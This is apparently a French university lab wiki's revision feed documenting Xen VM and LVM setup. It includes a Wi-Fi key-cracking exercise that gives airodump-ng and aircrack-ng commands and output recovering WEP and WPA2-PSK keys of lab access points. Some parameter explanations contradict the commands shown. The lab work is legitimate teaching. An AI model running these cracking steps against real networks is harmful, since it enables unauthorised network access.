* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12346</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12346"/>
		<updated>2026-02-22T22:07:35Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12345</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12345"/>
		<updated>2026-02-22T21:25:48Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
